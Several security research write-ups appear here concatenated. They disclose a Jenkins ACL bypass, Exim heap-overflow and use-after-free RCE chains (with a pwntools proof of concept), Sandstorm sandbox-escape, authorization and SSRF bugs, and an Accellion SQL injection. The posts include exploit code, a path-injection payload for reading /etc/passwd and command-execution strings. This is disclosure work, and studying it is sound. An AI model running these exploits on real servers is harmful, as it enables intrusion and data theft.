In software engineering, the Continuous Integration and Continuous Delivery is a best practice for developers to reduce routine works. In the CI/CD, the most well-known tool is Jenkins. Due to its ease of use, awesome Pipeline system and integration of Container, Jenkins is also the most widely used CI/CD application in the world. According to the JVM Ecosystem Report by Snyk in 2018, Jenkins held about 60% market share on the survey of CI/CD server.
For Red Teamers, Jenkins is also the battlefield that every hacker would like to control. If someone takes control of the Jenkins server, he can gain amounts of source code and credential, or even control the Jenkins node! In our DEVCORE Red Team cases, there are also several cases that the whole corporation is compromised from simply a Jenkins server as our entry point!
This article is mainly about a brief security review on Jenkins in the last year. During this review, we found 5 vulnerabilities including:
Among them, the more discussed one is the vulnerability CVE-2018-1999002. This is an arbitrary file read vulnerability through an unusual attack vector! Tencent YunDing security lab has written a detailed advisory about that, and also demonstrated how to exploit this vulnerability from arbitrary file reading to RCE on a real Jenkins site which found from Shodan!
However, we are not going to discuss that in this article. Instead, this post is about another vulnerability found while digging into Stapler framework in order to find a way to bypass the least privilege requirement ANONYMOUS_READ=True of CVE-2018-1999002! If you merely take a look at the advisory description, you may be curious – Is it reality to gain code execution with just a crafted URL?
From my own perspective, this vulnerability is just an Access Control List(ACL) bypass, but because this is a problem of the architecture rather than a single program, there are various ways to exploit this bug! In order to pay off the design debt, Jenkins team also takes lots of efforts (patches in Jenkins side and Stapler side) to fix that. The patch not only introduces a new routing blacklist and whitelist but also extends the original Service Provider Interface (SPI) to protect Jenkins’ routing. Now let’s figure out why Jenkins need to make such a huge code modification!
Review Scope
This is not a complete code review (An overall security review takes lots of time…), so this review just aims at high impact bugs. The review scope includes:
Jenkins Core
Stapler Web Framework
Suggested Plugins
During the installation, Jenkins asks whether you want to install suggested plugins such as Git, GitHub, SVN and Pipeline. Basically, most people choose yes, or they will get an inconvenient and hard-to-use Jenkins.
Privilege Levels
Because the vulnerability is an ACL bypass, we need to introduce the privilege level in Jenkins first! In Jenkins, there are different kinds of ACL roles, Jenkins even has a specialized plugin Matrix Authorization Strategy Plugin(also in the suggested plugin list) to configure the detailed permission per project. From an attacker’s view, we roughly classify the ACL into 3 types:
1. Full Access
You can fully control Jenkins. Once the attacker gets this permission, he can execute arbitrary Groovy code via Script Console!
print"uname -a".execute().text
This is the most hacker-friendly scenario, but it’s hard to see this configuration publicly now due to the increase of security awareness and lots of bots scanning all the IPv4.
Under this mode, all contents are visible and readable. Such as agent logs and job/node information. For attackers, the best benefit of this mode is the accessibility of a bunch of private source codes! However, the attacker cannot do anything further or execute Groovy scripts!
Although this is not the default setting, for DevOps, they may still open this option for automations. According to a little survey on Shodan, there are about 12% servers enabled this mode! We will call this mode ANONYMOUS_READ=True in the following sections.
3. Authenticated Mode
This is the default mode. Without a valid credential, you can’t see any information! We will use ANONYMOUS_READ=False to call this mode in following sections.
Vulnerability Analysis
To explain this vulnerability, we will start with Jenkins’ Dynamic Routing. In order to provide developers more flexibilities, Jenkins uses a naming convention to resolve the URL and invoke the method dynamically. Jenkins first tokenizes all the URL by /, and begins from jenkins.model.Jenkins as the entry point to match the token one by one. If the token matches (1)public class member or (2)public class method correspond to following naming conventions, Jenkins invokes recursively!
get<token>()
get<token>(String)
get<token>(Int)
get<token>(Long)
get<token>(StaplerRequest)
getDynamic(String, …)
doDynamic(…)
do<token>(…)
js<token>(…)
Class method with @WebMethod annotation
Class method with @JavaScriptMethod annotation
It looks like Jenkins provides developers a lot of flexibility. However, too much freedom is not always a good thing. There are two problems based on this naming convention!
1. Everything is the Subclass of java.lang.Object
In Java, everything is a subclass of java.lang.Object. Therefore, all objects must exist the method - getClass(), and the name of getClass() just matches the naming convention rule #1! So the method getClass() can be also invoked during Jenkins dynamic routing!
2. Whitelist Bypass
As mentioned before, the biggest difference between ANONYMOUS_READ=True and ANONYMOUS_READ=False is, if the flag set to False, the entry point will do one more check in jenkins.model.Jenkins#getTarget(). The check is a white-list based URL prefix check and here is the list:
That means you are restricted to those entrances, but if you can find a cross reference from the white-list entrance jump to other objects, you can still bypass this URL prefix check! It seems a little bit hard to understand. Let’s give a simple example to demonstrate the dynamic routing:
This execution chain seems smooth, but sadly, it can not retrieve the result. Therefore, this is not a potential risk, but it’s still a good case to understand the mechanism!
Once we realize the principle, the remaining part is like solving a maze. jenkins.model.Jenkins is the entry point. Every member in this object can references to a new object, so our work is to chain the object layer by layer till the exit door, that is, the dangerous method invocation!
By the way, the saddest thing is that this vulnerability cannot invoke the SETTER, otherwise this would definitely be another interesting classLoader manipulation bug just like Struts2 RCE and Spring Framework RCE!!
How to Exploit?
How to exploit? In brief, the whole thing this bug can achieve is to use cross reference objects to bypass ACL policy. To leverage it, we need to find a proper gadget so that we can invoke the object we prefer in this object-forest more conveniently! Here we choose the gadget:
In Jenkins, all configurable objects will extend the type hudson.model.Descriptor. And, any class who extends the Descriptor type is accessible by method hudson.model.DescriptorByNameOwner#getDescriptorByName(String). In general, there are totally about 500 class types can be accessed! But due to the architecture of Jenkins. Most developers will check the permission before the dangerous action again. So even we can find a object reference to the Script Console, without the permission Jenkins.RUN_SCRIPTS, we still can’t do anything :(
Even so, this vulnerability can still be considered as a stepping stone to bypass the first ACL restriction and to chain other bugs. We will show 3 vulnerability-chains as our case study! (Although we just show 3 cases, there are more than 3! If you are intersted, it’s highly recommended to find others by yourself :P )
P.S. It should be noted that in the method getUser([username]), it will invoke getOrCreateById(...) with create flag set to True. This result to the creation of a temporary user in memory(which will be listed in the user list but can’t sign in). Although it’s harmless, it is still recognized as a security issue in SECURITY-1128.
1. Pre-auth User Information Leakage
While testing Jenkins, it’s a common scenario that you want to perform a brute-force attack but you don’t know which account you can try(a valid credential can read the source at least so it’s worth to be the first attempt).
In this situation, this vulnerability is useful!
Due to the lack of permission check on search functionality. By modifying the keyword from a to z, an attacker can list all users on Jenkins!
2. Chained with CVE-2018-1000600 to a Pre-auth Fully-responded SSRF
The next bug is CVE-2018-1000600, this bug is reported by Orange Tsai(Yes, it’s me :P). About this vulnerability, the official description is:
CSRF vulnerability and missing permission checks in GitHub Plugin allowed capturing credentials
It can extract any stored credentials with known credentials ID in Jenkins. But the credentials ID is a random UUID if there is no user-supplied value provided. So it seems impossible to exploit this?(Or if someone know how to obtain credentials ID, please tell me!)
Although it can’t extract any credentials without known credentials ID, there is still another attack primitive - a fully-response SSRF! We all know how hard it is to exploit a Blind SSRF, so that’s why a fully-responded SSRF is so valuable!
In order to maximize the impact, I also find an INTERESTING remote code execution can be chained with this vulnerability to a well-deserved pre-auth RCE! But it’s still on the responsible disclosure process. Please wait and see the Part 2! (Will be published on February 19th :P)
TODO
Here is my todo list which can make this vulnerability more perfect. If you find any of them please tell me, really appreciate it :P
Get the Plugin object reference under ANONYMOUS_READ=False. If this can be done, it can bypass the ACL restriction of CVE-2018-1999002 and CVE-2018-6356 to a indeed pre-auth arbitrary file reading!
Find another gadget to invoke the method getDescriptorByName(String) under ANONYMOUS_READ=False. In order to fix SECURITY-672, Jenkins applies a check on hudson.model.User to ensure the least privilege Jenkins.READ. So the original gadget will fail after Jenkins version 2.138.
Acknowledgement
Thanks Jenkins Security team especially Daniel Beck for the coordination and bug fixing! Here is the brief timeline:
May 30, 2018 - Report vulnerabilities to Jenkins
Jun 15, 2018 - Jenkins patched the bug and assigned CVE-2018-1000600
Jul 18, 2018 - Jenkins patched the bug and assigned CVE-2018-1999002
Aug 15, 2018 - Jenkins patched the bug and assigned CVE-2018-1999046
Dec 05, 2018 - Jenkins patched the bug and assigned CVE-2018-1000861
Dec 20, 2018 - Report Groovy vulnerability to Jenkins
Jan 08, 2019 - Jenkins patched Groovy vulnerability and assigned CVE-2019-1003000, CVE-2019-1003001 and CVE-2019-1003002
We reported an overflow vulnerability in the base64 decode function of Exim on 5 February, 2018, identified as CVE-2018-6789. This bug exists since the first commit of exim, hence ALL versions are affected. According to our research, it can be leveraged to gain Pre-auth Remote Code Execution and at least 400k servers are at risk. Patched version 4.90.1 is already released and we suggest to upgrade exim immediately.
Affected
All Exim versions below 4.90.1
One byte overflow in base64 decoding
Vulnerability Analysis
This is a calculation mistake of decode buffer length in b64decode function:
base64.c: 153 b64decode
As shown above, exim allocates a buffer of 3*(len/4)+1 bytes to store decoded base64 data. However, when the input is not a valid base64 string and the length is 4n+3, exim allocates 3n+1 but consumes 3n+2 bytes while decoding. This causes one byte heap overflow (aka off-by-one).
Generally, this bug is harmless because the memory overwritten is usually unused. However, this byte overwrites some critical data when the string fits some specific length. In addition, this byte is controllable, which makes exploitation more feasible.
Base64 decoding is such a fundamental function and therefore this bug can be triggered easily, causing remote code execution.
Exploitation
To estimate the severity of this bug, we developed an exploit targeting SMTP daemon of exim. The exploitation mechanism used to achieve pre-auth remote code execution is described in the following paragraphs. In order to leverage this one byte overflow, it is necessary to trick memory management mechanism. It is highly recommended to have basic knowledge of heap exploitation [ref] before reading this section.
We developed the exploit with:
Debian(stretch) and Ubuntu(zesty)
SMTP daemon of Exim4 package installed with apt-get (4.89/4.88)
Config enabled (uncommented in default config) CRAM-MD5 authenticator (any other authenticator using base64 also works)
Basic SMTP commands (EHLO, MAIL FROM/RCPT TO) and AUTH
Memory allocation
First, we review the source code and search for useful memory allocation. As we mentioned in the previous article, exim uses self-defined functions for dynamic allocation:
externBOOLstore_extend_3(void*,int,int,constchar*,int);/* The */externvoidstore_free_3(void*,constchar*,int);/* value of the */externvoid*store_get_3(int,constchar*,int);/* 2nd arg is */externvoid*store_get_perm_3(int,constchar*,int);/* __FILE__ in */externvoid*store_malloc_3(int,constchar*,int);/* every call, */externvoidstore_release_3(void*,constchar*,int);/* so give its */externvoidstore_reset_3(void*,constchar*,int);/* correct type */
Function store_free() and store_malloc() calls malloc() and free() of glibc directly. Glibc takes a slightly bigger (0x10 bytes) chunk and stores its metadata in the first 0x10 bytes (x86-64) on every allocation, and then returns the location of data. The following illustration describes structure of chunk:
Metadata includes size of previous chunk (the one exactly above in memory), size of current block and some flags. The first three bits of size are used to store flags. In this example, size of 0x81 implies current chunk is 0x80 bytes and the previous chunk is in use.
Most of released chunks used in exim are put into a doubly linked list called unsorted bin. Glibc maintains it according to the flags, and merges adjacent released chunks into a bigger chunk to avoid fragmentation. For every allocation request, glibc checks these chunks in an FIFO (first in, first-out) order and reuses the chunks.
For some performance issues, exim maintains its own linked list structure with store_get(), store_release(), store_extend() and store_reset().
The main feature of storeblocks is that every block is at least 0x2000 bytes, which becomes a restriction to our exploitation. Note that a storeblock is also the data of a chunk. Therefore, if we look into the memory, it is like:
Here we list functions used to arrange heap data:
EHLO hostname
For each EHLO(or HELO) command, exim stores the pointer of hostname in sender_host_name.
1839/* Discard any previous helo name */18401841if(sender_helo_name!=NULL)1842{1843store_free(sender_helo_name);1844sender_helo_name=NULL;1845}...1884if(yield)sender_helo_name=string_copy_malloc(start);1885returnyield;
Unrecognized command
For every unrecognized command with unprintable characters, exim allocates a buffer to convert it to printable
AUTH
In most authentication procedure, exim uses base64 encoding to communicate with client. The encode and decode string are stored in a buffer allocated by store_get().
store_get() for strings
can contain unprintable characters, NULL bytes
not necessarily null terminated
Reset in EHLO/HELO, MAIL, RCPT
When a command is done correctly, smtp_reset() is called. This function calls store_reset() to reset block chain to a reset point, which means all storeblocks allocated by store_get() after last command are released.
store_reset() to reset point (set at the beginning of function)
3771 int
3772 smtp_setup_msg(void)
3773 {
3774 int done = 0;
3775 BOOL toomany = FALSE;
3776 BOOL discarded = FALSE;
3777 BOOL last_was_rej_mail = FALSE;
3778 BOOL last_was_rcpt = FALSE;
3779 void *reset_point = store_get(0);
3780
3781 DEBUG(D_receive) debug_printf("smtp_setup_msg entered\n");
3782
3783 /* Reset for start of new message. We allow one RSET not to be counted as a
3784 nonmail command, for those MTAs that insist on sending it between every
3785 message. Ditto for EHLO/HELO and for STARTTLS, to allow for going in and out of
3786 TLS between messages (an Exim client may do this if it has messages queued up
3787 for the host). Note: we do NOT reset AUTH at this point. */
3788
3789 smtp_reset(reset_point);
Exploit steps
To leverage this off-by-one, the chunk beneath decoded base64 data should be freed easily and controllable. After several attempts, we found that sender_host_name is a better choice. We arrange the heap layout to leave a freed chunk above sender_host_name for the base64 data.
Put a huge chunk into unsorted bin
First of all, we send a EHLO message with huge hostname to make it allocate and deallocate, leaving a 0x6060 length (3 storeblocks long) chunk in unsorted bin.
Cut the first storeblock
Then we send an unrecognized string to trigger store_get() and allocate a storeblock inside the freed chunk.
Cut the second storeblock and release the first one
We send a EHLO message again to get the second storeblock. The first block is freed sequentially because of the smtp_reset called after EHLO is done.
After the heap layout is prepared, we can use the off-by-one to overwrite the original chunk size. We modify 0x2021 to 0x20f1, which slightly extends the chunk.
Send base64 data and trigger off-by-one
To trigger off-by-one, we start an AUTH command to send base64 data. The overflow byte precisely overwrites the first byte of next chunk and extends the next chunk.
Forge a reasonable chunk size
Because the chunk is extended, the start of next chunk of is changed to somewhere inside of the original one. Therefore, we need to make it seems like a normal chunk to pass sanity checks in glibc. We send another base64 string here, because it requires NULL byte and unprintable character to forge chunk size.
Release the extended chunk
To control the content of extended chunk, we need to release the chunk first because we cannot edit it directly. That is, we should send a new EHLO message to release the old host name. However, normal EHLO message calls smtp_reset after it succeeds, which possibly makes program abort or crash. To avoid this, we send an invalid host name such as a+.
Overwrite the next pointer of overlapped storeblock
After the chunk is released, we can retrieve it with AUTH and overwrite part of overlapped storeblock. Here we use a trick called partial write. With this, we can modify the pointer without breaking ASLR (Address space layout randomization). We partially changed the next pointer to a storeblock containing ACL (Access Control List) strings. The ACL strings are pointed by a set of global pointers such as:
These pointers are initialized at the beginning of exim process, set according to the configure. For example, if there is a line acl_smtp_mail = acl_check_mail in the configure, the pointer acl_smtp_mail points to the string acl_check_mail. Whenever MAIL FROM is used, exim performs an ACL check, which expands acl_check_mail first. While expanding, exim tries to execute commands if it encounters ${run{cmd}}, so we achieve code execution as long as we control the ACL strings. In addition, we do not need to hijack program control flow directly and therefore we can bypass mitigations such as PIE (Position Independent Executables), NX easily.
Reset storeblocks and retrieve the ACL storeblock
Now the ACL storeblock is in the linked list chain. It will be released once smtp_reset() is triggered, and then we can retrieve it again by allocating multiple blocks.
Overwrite ACL strings and trigger ACL check
Finally, we overwrite the whole block containing ACL strings. Now we send commands such as EHLO, MAIL, RCPT to trigger ACL checks. Once we touch an acl defined in the configure, we achieve remote code execution.
Fix
Upgrade to 4.90.1 or above
Timeline
5 February, 2018 09:10 Reported to Exim
6 February, 2018 23:23 CVE received
10 February, 2018 18:00 Patch released
Credits
Vulnerabilities found by Meh, DEVCORE research team.
meh [at] devco [dot] re
In early 2017, we had a pentesting target protected with Sandstorm. Sandstorm is a web-based platform which allows users to install their web apps, such as WordPress, GitLab, etc. The main feature of Sandstorm is that it containerizes every app in its own sandbox. Therefore, even though we had found several vulnerabilities of the apps, we still could not put a threat to the server.
In order to leverage the vulnerabilities, we put part of efforts into review of Sandstorm’s source codes, and tried to escape the sandbox to impact the whole server. Finally, we found a number of uncommon and interesting vulnerabilities, and received CVE IDs as follows:
CVE-2017-6198 (Denial of Service)
CVE-2017-6199 (Bypassing Authorization Schema)
CVE-2017-6200 (Insecure Direct Object References)
CVE-2017-6201 (Server-Side Request Forgery)
Exploitation Details
CVE-2017-6198
This is a DoS created by system resource exhaustion. The root cause is that Sandstorm does not have a comprehensive policy to limit the amount of resource used by every apps run on it. In src/sandstorm/supervisor.c++ only the maximum number of files opened by each process was limited. See the codes below:
Since supervisor does not restrict the amount of subprocesses and storage usage, attackers can raise a resource exhaustion attack to crash the server by simply uploading a malicious app which keeps calling fork() (aka the “fork bomb”) or consumes huge storage space.
CVE-2017-6199
Usually Sandstorm will designate unique permissions to the specific members of a certain organization, and the default membership validation method is to check user’s email address and see whether the string after @ exists in their white list. See the codes below:
Therefore, when an attacker fills in an email like [email protected],[email protected] and the system will automatically consider the attacker a member of the aaa.bbb organization.
Another key factor that contributes to the successful attack lies in one of the features when users log on Sandstorm. Users does not need to set up passwords for Sandstorm. Each time when the users need to log onto the service, they only need to fill in their email address, and they’ll receive a set of random unique password for login. The reason why the example above works is because the system treats [email protected],[email protected] as a user from aaa.bbb domain, and the random password will be sent to the two email addresses, [email protected] and [email protected] As long as one can receive the password, they can log in to use the service.
Below is a quick demonstration:
On Sandstorm, restrict access to users from domain aaa.bbb only.
On login page, fill in [email protected],[email protected] for the email field.
(Note: at the front end, the email field is checked with HTML5 validation, but it is not further checked for validity at the back end)
In our pentesting, the target website allowed users from validated domains to install their own apps. Therefore, through this bypass exploit, further attacks could be accomplished by combining other vulnerabilities described in this blog post (CVE-2017-6198, CVE-2017-6200, CVE-2017-6201).
CVE-2017-6200
This is an interesting vulnerability. Totally two little validation flaws were exploited to initiate this attack!
On Sandstorm, owners of each Grain (Sandstorm container, in short, an app sandbox) can download their backup data for the app. But because of the two vulnerabilities in the packing process, an attacker can pack the files under the /etc and /run directories located on the server outside the sandbox. The security issues were as follows:
The packing process has hid /var, /proc, /etc and other sensitive directories, but did not hide /etc.host and /run.host these two directories. These directories are the aliases for the directories /etc and /run on the server respectively, which are relatively newer features.
The system will pack the legitimate files, have them sorted out, and create zip packages through the standard input interface. The separation between files are determined by line-breaks (\n). As a result, when a line-break string appears in the file name, illegal path file names can be injected and packed with zip. Although the app checks whether there is a line-break in the file name, but the directory name was not checked.
By using these two vulnerabilities together, the attacker simply has to create a directory in the sandbox /var/exp\n/etc.host/passwd\n , then backup files containing /etc/passwd on the server can be retrieved through backup downloading function.
Screenshot of a real-world scenario:
First, create a new directory in Grain /var/exp\n/etc.host/passwd\n, and use the Grain Backup function to download the backup file.
After unzipping the backup file, from etc.host we’ll see /etc/passwd of the server outside the sandbox.
CVE-2017-6201
This is a classic SSRF (Server-Side Request Forgery) issue. Sandstorm allow installation of apps from arbitrary sources, and an attacker can simply let the server access a certain location by providing an installation URL. The problem was identified on https://[target]/install/xxxChangeItEveryTimexxx?url=http://127.0.0.1:22/ This sample link confirms whether the server’s port 22 is open.
(Parse Error, which implies server’s port 22 is open)
Through this pentesting experience, we consider Sandstorm a safe platform with outstanding security mechanisms. This is mainly attributed to its fundamental design rationale: to assume that every app installed is malicious. With this vigilant assumption, Sandstorm’s defence mechanisms for the core system become comprehensive and watertight. Apart from the server-side protection, some common client-side attacks (such as XSS, CSRF) are handled properly by Sandstorm’s unique countermeasures, such as host name randomization. That is, it is very difficult for attackers to sabotage the server by simply manipulating the apps, and so does privilege escalation through attacking at the client-side.
Nevertheless, such an impressive platform still had some minor mistakes which led to security issues. Most of the vulnerabilities found this time are improper usages of libraries or negligence of existing defence architecture while introducing new features. These types of vulnerability are also common in our other projects. We would like to take the opportunity to remind developers, always present a comprehensive security review especially when developing new features to avoid vulnerabilities caused by the gaps between defence mechanisms.
On 23 November, 2017, we reported two vulnerabilities to Exim. These bugs exist in the SMTP daemon and attackers do not need to be authenticated, including CVE-2017-16943 for a use-after-free (UAF) vulnerability, which leads to Remote Code Execution (RCE); and CVE-2017-16944 for a Denial-of-Service (DoS) vulnerability.
About Exim
Exim is a message transfer agent (MTA) used on Unix systems. Exim is an open source project and is the default MTA on Debian GNU/Linux systems. According to our survey, there are about 600k SMTP servers running exim on 21st November, 2017 (data collected from scans.io). Also, a mail server survey by E-Soft Inc. shows over half of the mail servers identified are running exim.
Affected
Exim version 4.88 & 4.89 with chunking option enabled.
According to our survey, about 150k servers affected on 21st November, 2017 (data collected from scans.io).
Vulnerability Details
Through our research, the following vulnerabilies were discovered in Exim. Both vulnerabilies involve in BDAT command. BDAT is an extension in SMTP protocol, which is used to transfer large and binary data. A BDAT command is like BDAT 1024 or BDAT 1024 LAST. With the SIZE and LAST declared, mail servers do not need to scan for the end dot anymore. This command was introduced to exim in version 4.88, and also brought some bugs.
Use-after-free in receive_msg leads to RCE (CVE-2017-16943)
Incorrect BDAT data handling leads to DoS (CVE-2017-16944)
Use-after-free in receive_msg leads to RCE
Vulnerability Analysis
To explain this bug, we need to start with the memory management of exim. There is a series of functions starts with store_ such as store_get, store_release, store_reset. These functions are used to manage dynamically allocated memory and improve performance. Its architecture is like the illustration below:
Initially, exim allocates a big storeblock (default 0x2000) and then cut it into stores when store_get is called, using global pointers to record the size of unused memory and where to cut in next allocation. Once the current_block is insufficient, it allocates a new block and appends it to the end of the chain, which is a linked list, and then makes current_block point to it. Exim maintains three store_pool, that is, there are three chains like the illustration above and every global variables are actually arrays.
This vulnerability is in receive_msg where exim reads headers:
receive.c: 1817 receive_msg
It seems normal if the store functions are just like realloc, malloc and free. However, they are different and cannot be used in this way. When exim tries to extend store, the function store_extend checks whether the old store is the latest store allocated in current_block. It returns False immediately if the check is failed.
store.c: 276 store_extend
Once store_extend fails, exim tries to get a new store and release the old one. After we look into store_get and store_release, we found that store_get returns a store, but store_release releases a block if the store is at the head of it. That is to say, if next->text points to the start the current_block and store_get cuts store inside it for newtext, then store_release(next->text) frees next->text, which is equal to current_block, and leaves newtext and current_block pointing to a freed memory area. Any further usage of these pointers leads to a use-after-free vulnerability. To trigger this bug, we need to make exim call store_get after next->text is allocated. This was impossible until BDAT command was introduced into exim. BDAT makes store_get reachable and finally leads to an RCE.
Exim uses function pointers to switch between different input sources, such as receive_getc, receive_getbuf. When receiving BDAT data, receive_getc is set to bdat_getc in order to check left chunking data size and to handle following command of BDAT. In receive_msg, exim also uses receive_getc. It loops to read data, and stores data into next->text, extends if insufficient.
receive.c: 1817 receive_msg
for(;;){intch=(receive_getc)(GETC_BUFFER_UNLIMITED);/* If we hit EOF on a SMTP connection, it's an error, since incoming
SMTP must have a correct "." terminator. */if(ch==EOF&&smtp_input/* && !smtp_batched_input */){smtp_reply=handle_lost_connection(US" (header)");smtp_yield=FALSE;gotoTIDYUP;/* Skip to end of function */}
In bdat_getc, once the SIZE is reached, it tries to read the next BDAT command and raises error message if the following command is incorrect.
smtp_in.c: 628 bdat_getc
caseBDAT_CMD:{intn;if(sscanf(CSsmtp_cmd_data,"%u %n",&chunking_datasize,&n)<1){(void)synprot_error(L_smtp_protocol_error,501,NULL,US"missing size for BDAT command");returnERR;}
In exim, it usually calls synprot_error to raise error message, which also logs at the same time.
smtp_in.c: 628 bdat_getc
staticintsynprot_error(inttype,intcode,uschar*data,uschar*errmess){intyield=-1;log_write(type,LOG_MAIN,"SMTP %s error in \"%s\" %s %s",(type==L_smtp_syntax_error)?"syntax":"protocol",string_printing(smtp_cmd_buffer),host_and_ident(TRUE),errmess);
The log messages are printed by string_printing. This function ensures a string is printable. For this reason, it extends the string to transfer characters if any unprintable character exists, such as '\n'->'\\n'. Therefore, it asks store_get for memory to store strings.
This store makes if (!store_extend(next->text, oldsize, header_size)) in receive_msg failed when next extension occurs and then triggers use-after-free.
Exploitation
The following is the Proof-of-Concept(PoC) python script of this vulnerability. This PoC controls the control flow of SMTP server and sets instruction pointer to 0xdeadbeef. For fuzzing issue, we did change the runtime configuration of exim. As a result, this PoC works only when dkim is enabled. We use it as an example because the situation is less complicated. The version with default configuration is also exploitable, and we will discuss it at the end of this section.
# CVE-2017-16943 PoC by meh at DEVCORE
# pip install pwntools
frompwnimport*r=remote('127.0.0.1',25)r.recvline()r.sendline("EHLO test")r.recvuntil("250 HELP")r.sendline("MAIL FROM:<[email protected]>")r.recvline()r.sendline("RCPT TO:<[email protected]>")r.recvline()r.sendline('a'*0x1250+'\x7f')r.recvuntil('command')r.sendline('BDAT 1')r.sendline(':BDAT \x7f')s='a'*6+p64(0xdeadbeef)*(0x1e00/8)r.send(s+':\r\n')r.recvuntil('command')r.send('\n')r.interactive()
Running out of current_block
In order to achieve code execution, we need to make the next->text get the first store of a block. That is, running out of current_block and making store_get allocate a new block. Therefore, we send a long message 'a'*0x1250+'\x7f' with an unprintable character to cut current_block, making yield_length less than 0x100.
Starts BDAT data transfer
After that, we send BDAT command to start data transfer. At the beginning, next and next->text are allocated by store_get.
The function dkim_exim_verify_init is called sequentially and it also calls store_get. Notice that this function uses ANOTHER store_pool, so it allocates from heap without changing current_block which next->text also points to.
receive.c: 1734 receive_msg
Call store_getc inside bdat_getc
Then, we send a BDAT command without SIZE. Exim complains about the incorrect command and cuts the current_block with store_get in string_printing.
Keep sending msg until extension and bug triggered
In this way, while we keep sending huge messages, current_block gets freed after the extension. In the malloc.c of glibc (so called ptmalloc2), system manages a linked list of freed memory chunks, which is called unsorted bin. Freed chunks are put into unsorted bin if it is not the last chunk on the heap. In step 2, dkim_exim_verify_init allocated chunks after next->text. Therefore, this chunk is put into unsorted bin and the pointers of linked list are stored into the first 16 bytes of chunk (on x86-64). The location written is exactly current_block->next, and therefore current_block->next is overwritten to unsorted bin inside main_arena of libc (linked list pointer fd points back to unsorted bin if no other freed chunk exists).
Keep sending msg for the next extension
When the next extension occurs, store_get tries to cut from main_arena, which makes attackers able to overwrite all global variables below main_arena.
Overwrite global variables in libc
Finish sending message and trigger free()
In the PoC, we simply modified __free_hook and ended the line. Exim calls store_reset to reset the buffer and calls __free_hook in free(). At this stage, we successfully controlled instruction pointer $rip.
However, this is not enough for an RCE because the arguments are uncontrollable. As a result, we improved this PoC to modify both __free_hook and _IO_2_1_stdout_. We forged the vtable of stdout and set __free_hook to any call of fflush(stdout) inside exim. When the program calls fflush, it sets the first argument to stdout and jumps to a function pointer on the vtable of stdout. Hence, we can control both $rip and the content of first argument.
We consulted past CVE exploits and decided to call expand_string, which executes command with execv if we set the first argument to ${run{cmd}}, and finally we got our RCE.
Exploit for default configured exim
When dkim is disabled, the PoC above fails because current_block is the last chunk on heap. This makes the system merge it into a big chunk called top chunk rather than unsorted bin.
The illustrations below describe the difference of heap layout:
To avoid this, we need to make exim allocate and free some memories before we actually start our exploitation. Therefore, we add some steps between step 1 and step 2.
After running out of current_block:
Use DATA command to send lots of data
Send huge data, make the chunk big and extend many times. After several extension, it calls store_get to retrieve a bigger store and then releases the old one. This repeats many times if the data is long enough. Therefore, we have a big chunk in unsorted bin.
End DATA transfer and start a new email
Restart to send an email with BDAT command after the heap chunk is prepared.
Adjust yield_length again
Send invalid command with an unprintable charater again to cut the current_block.
Finally the heap layout is like:
And now we can go back to the step 2 at the beginning and create the same situation. When next->text is freed, it goes back to unsorted bin and we are able to overwrite libc global variables again.
The following is the PoC for default configured exim:
A demo of our exploit is as below.
Note that we have not found a way to leak memory address and therefore we use heap spray instead. It requires another information leakage vulnerability to overcome the PIE mitigation on x86-64.
Incorrect BDAT data handling leads to DoS
Vulnerability Analysis
When receiving data with BDAT command, SMTP server should not consider a single dot ‘.’ in a line to be the end of message. However, we found exim does in receive_msg when parsing header. Like the following output:
220 devco.re ESMTP Exim 4.90devstart_213-7c6ec81-XX Mon, 27 Nov 2017 16:58:20 +0800
EHLO test
250-devco.re Hello root at test
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250-AUTH PLAIN LOGIN CRAM-MD5
250-CHUNKING
250-STARTTLS
250-PRDR
250 HELP
MAIL FROM:<[email protected]>
250 OK
RCPT TO:<[email protected]>
250 Accepted
BDAT 10
.
250- 10 byte chunk, total 0
250 OK id=1eJFGW-000CB0-1R
As we mentioned before, exim uses function pointers to switch input source. This bug makes exim go into an incorrect state because the function pointer receive_getc is not reset. If the next command is also a BDAT, receive_getc and lwr_receive_getc become the same and an infinite loop occurs inside bdat_getc. Program crashes due to stack exhaustion.
smtp_in.c: 546 bdat_getc
if (chunking_data_left > 0)
return lwr_receive_getc(chunking_data_left--);
This is not enough to pose a threat because exim runs a fork server. After a further analysis, we made exim go into an infinite loop without crashing, using the following commands.
25 November, 2017 16:27 CVE-2017-16943 Patch released
28 November, 2017 16:27 CVE-2017-16944 Patch released
3 December, 2017 13:15 Send an advisory release notification to Exim and wait for reply until now
Remarks
While we were trying to report these bugs to exim, we could not find any method for security report. Therefore, we followed the link on the official site for bug report and found the security option. Unexpectedly, the Bugzilla posts all bugs publicly and therefore the PoC was leaked. Exim team responded rapidly and improved their security report process by adding a notification for security reports in reaction to this.
Credits
Vulnerabilities found by Meh, DEVCORE research team.
meh [at] devco [dot] re
Accellion File Transfer Appliance (FTA) is a secure file transfer service which enables users to share and sync files online with AES 128/256 encryption. The Enterprise version further incorporates SSL VPN services with integration of Single Sign-on mechanisms like AD, LDAP and Kerberos.
Vulnerability Details
In this research, the following vulnerabilities were discovered on the FTA version FTA_9_12_0 (13-Oct-2015 Release)
Cross-Site Scripting x 3
Pre-Auth SQL Injection leads to Remote Code Execution
Known-Secret-Key leads to Remote Code Execution
Local Privilege Escalation x 2
The above-mentioned vulnerabilities allow unauthenticated attackers to remotely attack FTA servers and gain highest privileges successfully. After the attackers fully controlled the servers, they will be able to retrieve the encrypted files and user data, etc.
After reporting to CERT/CC, these vulnerabilities were assigned 4 CVEs (CVE-2016-2350, CVE-2016-2351, CVE-2016-2352, CVE-2016-2353).
Areas Affected
According to a public data reconnaissance, there are currently 1,217 FTA servers online around the world, most of which are located in the US, followed by Canada, Australia, UK, and Singapore.
Determine from the domain name and SSL Certificate of these servers, FTA is widely used by governmental bodies, educational institutions, enterprises, including several well-known brands.
Pre-Auth SQL Injection leads to RCE (CVE-2016-2351)
After code reviewing, a pre-authentication SQL Injection vulnerability was found in FTA. This vulnerability grants malicious users access to sensitive data and personal information on the server through SQL Injection, and launch remote code execution (RCE) by further exploiting privilege-escalating vulnerabilities.
The key to this problem lies in the client_properties( ... ) function called by security_key2.api!
/home/seos/courier/security_key2.api
Among these parameters, $g_app_id$g_username$client_id and $password are controllable by the attackers. And although the function _decrypt( ... ) handles the passwords, it does not involve in the triggering of the vulnerability.
One thing to pay special attention is that the value of $g_app_id will be treated as a global variable which represents the current Application ID in use, and will be applied in opendb( ) accordingly. The code in opendb( ) includes the following lines:
In mysql_select_db, the name of the database to be opened is controllable by the user. If wrong value was given, the program will be interrupted. Therefore, $g_app_id must be forged correctly.
